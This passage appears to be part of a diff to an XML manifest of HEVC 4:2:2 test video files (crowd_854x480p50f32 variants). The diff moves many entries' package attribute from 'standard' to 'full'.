-    <value>mime=video/hevc,size=192052,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2384096,package=standard</value>
+    <value>mime=video/hevc,size=192052,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2384096,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_4mbps_qpg8.mp4">
-    <value>mime=video/hevc,size=196470,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2439312,package=standard</value>
+    <value>mime=video/hevc,size=196470,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2439312,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_500kbps.mp4">
-    <value>mime=video/hevc,size=47838,width=854,height=480,frame-rate=50,profile=,level=,bitrate=581408,package=standard</value>
+    <value>mime=video/hevc,size=47838,width=854,height=480,frame-rate=50,profile=,level=,bitrate=581408,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_5mbps.mp4">
     <value>mime=video/hevc,size=399497,width=854,height=480,frame-rate=50,profile=,level=,bitrate=4977144,package=full</value>
@@ -18831,157 +18831,157 @@
     <value>mime=video/hevc,size=537287,width=854,height=480,frame-rate=50,profile=,level=,bitrate=6702624,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_amp0.mp4">
-    <value>mime=video/hevc,size=189476,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2351880,package=standard</value>
+    <value>mime=video/hevc,size=189476,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2351880,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_amp1.mp4">
-    <value>mime=video/hevc,size=189476,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2351880,package=standard</value>
+    <value>mime=video/hevc,size=189476,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2351880,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_aud.mp4">
-    <value>mime=video/hevc,size=189473,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2351848,package=standard</value>
+    <value>mime=video/hevc,size=189473,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2351848,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_b_adapt_0.mp4">
-    <value>mime=video/hevc,size=172537,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2140744,package=standard</value>
+    <value>mime=video/hevc,size=172537,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2140744,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_b_adapt_1.mp4">
-    <value>mime=video/hevc,size=215842,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2681456,package=standard</value>
+    <value>mime=video/hevc,size=215842,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2681456,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_beta0.mp4">
-    <value>mime=video/hevc,size=189476,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2351880,package=standard</value>
+    <value>mime=video/hevc,size=189476,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2351880,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_beta4.mp4">
-    <value>mime=video/hevc,size=189861,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2356680,package=standard</value>
+    <value>mime=video/hevc,size=189861,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2356680,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_beta6.mp4">
-    <value>mime=video/hevc,size=190041,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2358936,package=standard</value>
+    <value>mime=video/hevc,size=190041,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2358936,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_beta6_tcm6.mp4">
-    <value>mime=video/hevc,size=189926,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2357480,package=standard</value>
+    <value>mime=video/hevc,size=189926,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2357480,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_betam4.mp4">
-    <value>mime=video/hevc,size=189965,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2357984,package=standard</value>
+    <value>mime=video/hevc,size=189965,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2357984,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_betam6.mp4">
-    <value>mime=video/hevc,size=190679,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2366912,package=standard</value>
+    <value>mime=video/hevc,size=190679,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2366912,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_betam6_tc6.mp4">
-    <value>mime=video/hevc,size=189622,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2353680,package=standard</value>
+    <value>mime=video/hevc,size=189622,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2353680,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_cnstrn_intra.mp4">
-    <value>mime=video/hevc,size=191951,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2382824,package=standard</value>
+    <value>mime=video/hevc,size=191951,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2382824,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_cra16.mp4">
-    <value>mime=video/hevc,size=209798,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2605096,package=standard</value>
+    <value>mime=video/hevc,size=209798,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2605096,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_crf0.mp4">
     <value>mime=video/hevc,size=6414571,width=854,height=480,frame-rate=50,profile=,level=,bitrate=80165568,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_crf51.mp4">
-    <value>mime=video/hevc,size=14810,width=854,height=480,frame-rate=50,profile=,level=,bitrate=168560,package=standard</value>
+    <value>mime=video/hevc,size=14810,width=854,height=480,frame-rate=50,profile=,level=,bitrate=168560,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_ctb16.mp4">
-    <value>mime=video/hevc,size=191042,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2371472,package=standard</value>
+    <value>mime=video/hevc,size=191042,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2371472,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_ctb32.mp4">
-    <value>mime=video/hevc,size=189329,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2350072,package=standard</value>
+    <value>mime=video/hevc,size=189329,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2350072,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_fastdecode.mp4">
-    <value>mime=video/hevc,size=189308,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2349784,package=standard</value>
+    <value>mime=video/hevc,size=189308,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2349784,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_faster.mp4">
-    <value>mime=video/hevc,size=165051,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2047168,package=standard</value>
+    <value>mime=video/hevc,size=165051,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2047168,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_fast.mp4">
-    <value>mime=video/hevc,size=169538,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2103256,package=standard</value>
+    <value>mime=video/hevc,size=169538,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2103256,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_grain.mp4">
-    <value>mime=video/hevc,size=307169,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3823056,package=standard</value>
+    <value>mime=video/hevc,size=307169,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3823056,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_hash_chksum.mp4">
-    <value>mime=video/hevc,size=190180,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2360680,package=standard</value>
+    <value>mime=video/hevc,size=190180,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2360680,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_hash_crc.mp4">
-    <value>mime=video/hevc,size=189988,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2358280,package=standard</value>
+    <value>mime=video/hevc,size=189988,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2358280,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_hash_md5.mp4">
-    <value>mime=video/hevc,size=191332,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2375080,package=standard</value>
+    <value>mime=video/hevc,size=191332,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2375080,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_hrd.mp4">
-    <value>mime=video/hevc,size=189476,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2351880,package=standard</value>
+    <value>mime=video/hevc,size=189476,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2351880,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_idr16.mp4">
-    <value>mime=video/hevc,size=211826,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2631208,package=standard</value>
+    <value>mime=video/hevc,size=211826,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2631208,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_intraminus1.mp4">
-    <value>mime=video/hevc,size=189485,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2352000,package=standard</value>
+    <value>mime=video/hevc,size=189485,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2352000,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_lossless.mp4">
     <value>mime=video/hevc,size=11094938,width=854,height=480,frame-rate=50,profile=,level=,bitrate=138670168,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_max_log2poc_10.mp4">
-    <value>mime=video/hevc,size=189494,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2352112,package=standard</value>
+    <value>mime=video/hevc,size=189494,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2352112,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_max_log2poc_16.mp4">
-    <value>mime=video/hevc,size=189508,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2352280,package=standard</value>
+    <value>mime=video/hevc,size=189508,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2352280,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_max_log2poc_4.mp4">
-    <value>mime=video/hevc,size=189469,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2351808,package=standard</value>
+    <value>mime=video/hevc,size=189469,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2351808,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_max_log2poc_5.mp4">
-    <value>mime=video/hevc,size=189469,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2351808,package=standard</value>
+    <value>mime=video/hevc,size=189469,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2351808,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_max_log2poc_6.mp4">
-    <value>mime=video/hevc,size=189469,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2351808,package=standard</value>
+    <value>mime=video/hevc,size=189469,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2351808,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_maxtu16.mp4">
-    <value>mime=video/hevc,size=191567,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2378032,package=standard</value>
+    <value>mime=video/hevc,size=191567,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2378032,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_maxtu4.mp4">
-    <value>mime=video/hevc,size=181692,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2254584,package=standard</value>
+    <value>mime=video/hevc,size=181692,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2254584,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_maxtu8.mp4">
-    <value>mime=video/hevc,size=191070,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2371824,package=standard</value>
+    <value>mime=video/hevc,size=191070,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2371824,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_medium.mp4">
-    <value>mime=video/hevc,size=189476,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2351880,package=standard</value>
+    <value>mime=video/hevc,size=189476,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2351880,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_merge1.mp4">
-    <value>mime=video/hevc,size=193333,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2400096,package=standard</value>
+    <value>mime=video/hevc,size=193333,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2400096,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_merge3.mp4">
-    <value>mime=video/hevc,size=189194,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2348360,package=standard</value>
+    <value>mime=video/hevc,size=189194,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2348360,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_merge4.mp4">
-    <value>mime=video/hevc,size=188505,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2339744,package=standard</value>
+    <value>mime=video/hevc,size=188505,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2339744,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_merge5.mp4">
-    <value>mime=video/hevc,size=188443,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2338968,package=standard</value>
+    <value>mime=video/hevc,size=188443,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2338968,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_mincu16.mp4">
-    <value>mime=video/hevc,size=200970,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2495560,package=standard</value>
+    <value>mime=video/hevc,size=200970,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2495560,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_mincu32.mp4">
-    <value>mime=video/hevc,size=224559,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2790424,package=standard</value>
+    <value>mime=video/hevc,size=224559,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2790424,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_nodblk.mp4">
-    <value>mime=video/hevc,size=190124,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2359984,package=standard</value>
+    <value>mime=video/hevc,size=190124,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2359984,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_no_pps_qp_opt.mp4">
-    <value>mime=video/hevc,size=189479,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2351920,package=standard</value>
+    <value>mime=video/hevc,size=189479,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2351920,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_no_pps_reflist_opt.mp4">
-    <value>mime=video/hevc,size=189479,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2351920,package=standard</value>
+    <value>mime=video/hevc,size=189479,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2351920,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_no_vui_hrd.mp4">
-    <value>mime=video/hevc,size=189479,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2351920,package=standard</value>
+    <value>mime=video/hevc,size=189479,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2351920,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_placebo.mp4">
-    <value>mime=video/hevc,size=198100,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2459656,package=standard</value>
+    <value>mime=video/hevc,size=198100,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2459656,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_profilenone.mp4">
-    <value>mime=video/hevc,size=189473,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2351848,package=standard</value>
+    <value>mime=video/hevc,size=189473,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2351848,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_psnr.mp4">
-    <value>mime=video/hevc,size=287692,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3579584,package=standard</value>
+    <value>mime=video/hevc,size=287692,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3579584,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_qp0cb12cr12.mp4">
     <value>mime=video/hevc,size=9464521,width=854,height=480,frame-rate=50,profile=,level=,bitrate=118289936,package=full</value>
@@ -19002,199 +19002,199 @@
     <value>mime=video/hevc,size=665550,width=854,height=480,frame-rate=50,profile=,level=,bitrate=8302824,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_qp39cbm12cr12.mp4">
-    <value>mime=video/hevc,size=178289,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2212032,package=standard</value>
+    <value>mime=video/hevc,size=178289,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2212032,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_qp4.mp4">
     <value>mime=video/hevc,size=10019337,width=854,height=480,frame-rate=50,profile=,level=,bitrate=125225160,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_qp50.mp4">
-    <value>mime=video/hevc,size=14540,width=854,height=480,frame-rate=50,profile=,level=,bitrate=165200,package=standard</value>
+    <value>mime=video/hevc,size=14540,width=854,height=480,frame-rate=50,profile=,level=,bitrate=165200,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_qp51cb12cr12.mp4">
-    <value>mime=video/hevc,size=11971,width=854,height=480,frame-rate=50,profile=,level=,bitrate=133056,package=standard</value>
+    <value>mime=video/hevc,size=11971,width=854,height=480,frame-rate=50,profile=,level=,bitrate=133056,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_qp51cb12crm12.mp4">
-    <value>mime=video/hevc,size=13156,width=854,height=480,frame-rate=50,profile=,level=,bitrate=147872,package=standard</value>
+    <value>mime=video/hevc,size=13156,width=854,height=480,frame-rate=50,profile=,level=,bitrate=147872,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_qp51cbm12cr12.mp4">
-    <value>mime=video/hevc,size=14046,width=854,height=480,frame-rate=50,profile=,level=,bitrate=159000,package=standard</value>
+    <value>mime=video/hevc,size=14046,width=854,height=480,frame-rate=50,profile=,level=,bitrate=159000,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_qp51cbm12crm12.mp4">
-    <value>mime=video/hevc,size=15055,width=854,height=480,frame-rate=50,profile=,level=,bitrate=171608,package=standard</value>
+    <value>mime=video/hevc,size=15055,width=854,height=480,frame-rate=50,profile=,level=,bitrate=171608,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_qp51.mp4">
-    <value>mime=video/hevc,size=11967,width=854,height=480,frame-rate=50,profile=,level=,bitrate=133032,package=standard</value>
+    <value>mime=video/hevc,size=11967,width=854,height=480,frame-rate=50,profile=,level=,bitrate=133032,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_rect0.mp4">
-    <value>mime=video/hevc,size=189476,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2351880,package=standard</value>
+    <value>mime=video/hevc,size=189476,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2351880,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_rpt_hdrs.mp4">
-    <value>mime=video/hevc,size=189473,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2351848,package=standard</value>
+    <value>mime=video/hevc,size=189473,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2351848,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_sao0.mp4">
-    <value>mime=video/hevc,size=188366,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2338008,package=standard</value>
+    <value>mime=video/hevc,size=188366,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2338008,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_sbh1.mp4">
-    <value>mime=video/hevc,size=189476,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2351880,package=standard</value>
+    <value>mime=video/hevc,size=189476,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2351880,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_slower.mp4">
-    <value>mime=video/hevc,size=190999,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2370912,package=standard</value>
+    <value>mime=video/hevc,size=190999,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2370912,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_slow.mp4">
-    <value>mime=video/hevc,size=177807,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2206024,package=standard</value>
+    <value>mime=video/hevc,size=177807,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2206024,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_srng0.mp4">
-    <value>mime=video/hevc,size=266978,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3320656,package=standard</value>
+    <value>mime=video/hevc,size=266978,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3320656,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_srng32.mp4">
-    <value>mime=video/hevc,size=189584,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2353232,package=standard</value>
+    <value>mime=video/hevc,size=189584,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2353232,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_srng64.mp4">
-    <value>mime=video/hevc,size=189476,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2351880,package=standard</value>
+    <value>mime=video/hevc,size=189476,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2351880,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_srng8.mp4">
-    <value>mime=video/hevc,size=190421,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2363696,package=standard</value>
+    <value>mime=video/hevc,size=190421,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2363696,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_ssim.mp4">
-    <value>mime=video/hevc,size=266025,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3308744,package=standard</value>
+    <value>mime=video/hevc,size=266025,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3308744,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_strngintra0.mp4">
-    <value>mime=video/hevc,size=189760,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2355432,package=standard</value>
+    <value>mime=video/hevc,size=189760,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2355432,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_superfast.mp4">
-    <value>mime=video/hevc,size=296253,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3686624,package=standard</value>
+    <value>mime=video/hevc,size=296253,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3686624,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_tc4.mp4">
-    <value>mime=video/hevc,size=189987,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2358256,package=standard</value>
+    <value>mime=video/hevc,size=189987,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2358256,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_tc6.mp4">
-    <value>mime=video/hevc,size=189776,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2355624,package=standard</value>
+    <value>mime=video/hevc,size=189776,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2355624,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_tcm4.mp4">
-    <value>mime=video/hevc,size=190046,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2359000,package=standard</value>
+    <value>mime=video/hevc,size=190046,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2359000,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_tcm6.mp4">
-    <value>mime=video/hevc,size=189929,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2357536,package=standard</value>
+    <value>mime=video/hevc,size=189929,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2357536,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_tmp_lyrs.mp4">
-    <value>mime=video/hevc,size=189480,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2351848,package=standard</value>
+    <value>mime=video/hevc,size=189480,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2351848,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_tmvp0.mp4">
-    <value>mime=video/hevc,size=191459,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2376672,package=standard</value>
+    <value>mime=video/hevc,size=191459,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2376672,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_tuinterdepth2.mp4">
-    <value>mime=video/hevc,size=193939,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2407672,package=standard</value>
+    <value>mime=video/hevc,size=193939,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2407672,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_tuinterdepth4.mp4">
-    <value>mime=video/hevc,size=191311,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2374808,package=standard</value>
+    <value>mime=video/hevc,size=191311,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2374808,package=full</value>
   </entry>
